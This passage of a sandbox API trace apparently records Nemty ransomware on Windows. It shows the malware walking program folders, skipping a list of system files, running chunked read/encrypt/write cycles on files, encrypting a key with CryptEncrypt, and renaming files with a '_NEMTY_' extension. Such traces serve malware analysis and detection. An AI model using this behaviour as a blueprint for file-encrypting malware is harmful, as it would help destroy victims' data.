RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.776] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.777] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.889] CloseHandle (hObject=0xffffffff) returned 0 [0076.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0076.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0076.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0076.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0076.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.890] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png._nemty_kgobjgd_")) returned 0 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2=".") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="..") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="...") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="windows") returned -1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="$RECYCLE.BIN") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="rsa") returned -1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="NTDETECT.COM") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="ntldr") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="MSDOS.SYS") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="IO.SYS") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="boot.ini") returned 1 [0076.890] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="boot.ini") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="ntuser.dat") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="desktop.ini") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="CONFIG.SYS") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="RECYCLER") returned -1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="BOOTSECT.BAK") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="bootmgr") returned 1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="programdata") returned -1 [0076.891] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="appdata") returned 1 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_notes-txt-background.png", lpUsedDefaultChar=0x0) returned 29 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_notes-txt-background.png", lpUsedDefaultChar=0x0) returned 29 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_notes-txt-background.png", lpUsedDefaultChar=0x0) returned 29 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_notes-txt-background.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_notes-txt-background.png", lpUsedDefaultChar=0x0) returned 29 [0076.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.892] Sleep (dwMilliseconds=0x5) [0076.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe17c7f70, dwHighDateTime=0x1d561e7)) [0076.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe17c7f70, dwHighDateTime=0x1d561e7)) [0076.906] GetLastError () returned 0x5 [0076.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.906] GetLastError () returned 0x5 [0076.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="cPISrZaYSJYTyRv4pHQwuhilkuBkxL7buylZefpAKfF3YGyqA57/drbTeCKyslpw\r\nT4u9xF1AvNpPLFwtDFImHn9M1EZpx05SHIkgSs90RATez5I8LP2TKEvm/Zi0AoLV\r\nwssHqWuzRuKqc/8pCUbWMsMZqYD/20Li6qSIjc9fg0esjdwi3vnkI23RhATdutPX\r\nWCotRB0fKi9hiAmtdUB7Z+JSpEisgezrkZZatphkNtnVb45EKY04z58jclebMTJR\r\nR8V5zXzc1bBBlXVpSTz8UcIX1rKyhGWpxSJypI0vIy6davPfQAcQqEzAsXJJLHPs\r\nrxelCv4CKwe23Bu/860zRw==\r\n", pcchString=0x653e91c) returned 1 [0076.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.907] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.907] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.926] WriteFile (in: 